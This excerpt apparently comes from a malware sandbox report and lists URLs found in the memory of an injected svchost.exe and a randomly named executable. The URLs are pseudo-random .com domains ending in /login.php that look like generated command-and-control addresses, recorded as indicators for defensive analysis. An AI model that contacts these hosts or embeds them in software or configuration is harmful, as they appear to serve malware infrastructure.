Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337011719.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gahyfow.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2538475351.00000000087FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202773518.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272090324.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194197284.0000000008691000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gahyfyz.com/login.php
Source: svchost.exe, 00000002.00000003.2370194718.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2368250212.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2753175286.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748730470.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2368486690.0000000003353000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gahykeb.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2768400966.0000000008705000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gahykih.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gahynus.com/login.php
Source: svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671484952.00000000086F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gahypoz.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2408310468.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2155150601.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2408240997.0000000008690000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157020892.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152199201.000000000338F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157370436.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267140420.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2554600445.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2670340730.0000000009309000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2554600445.000000000165E000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2767328417.00000000087AD000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2606731229.00000000006BC000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2606731229.0000000000658000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2754881152.000000000843D000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2711620441.0000000008C6C000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2695589851.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2695589851.0000000000CAA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gahyqah.com/login.php
Source: svchost.exe, 00000002.00000003.2370194718.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2368250212.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2367199379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759945064.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2370737747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760422520.0000000008787000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2367460277.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2769955415.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2768918885.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2368486690.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2768918885.0000000008784000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gahyqas.com/login.php
Source: svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gahyqub.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gahyvab.com/login.php
Source: svchost.exe, 00000002.00000003.2538146592.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272828863.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2275850260.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272537462.00000000086FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2264150395.00000000086FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2524832364.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272290978.00000000086FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2283080934.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2281813924.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2273007343.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gahyvew.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307697997.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gahyzez.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359453590.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352880774.000000000878B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galycah.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298951843.00000000086D4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galycuw.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298813609.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galydoz.com/login.php
Source: svchost.exe, 00000002.00000003.2681961070.000000000866F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galydyw.com/
Source: svchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670306640.00000000087FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2787365873.00000000086F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galydyw.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2391261344.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2799115351.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2802098474.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384383810.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2804014951.00000000008A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galyfez.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337099007.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337011719.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610879120.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635826907.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671484952.00000000086F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galyheh.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557475743.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344516796.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577719348.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3388123270.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404003407.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548810720.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402591277.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202332641.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578793071.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393482937.000000000339B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344396822.0000000003399000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galyhiw.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2155150601.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3282956262.000000000339A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152199201.000000000338F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3296927837.0000000003399000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2733416103.00000000096C4000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2733416103.00000000095F8000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2670340730.0000000009356000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2606731229.0000000000721000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2754881152.0000000008405000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2767328417.0000000008790000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2754881152.000000000843D000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2711620441.0000000008C6C000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2695589851.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2746386835.0000000008E05000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://galykes.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359008557.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353793003.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358098293.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galypob.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://galypyh.com/login.php
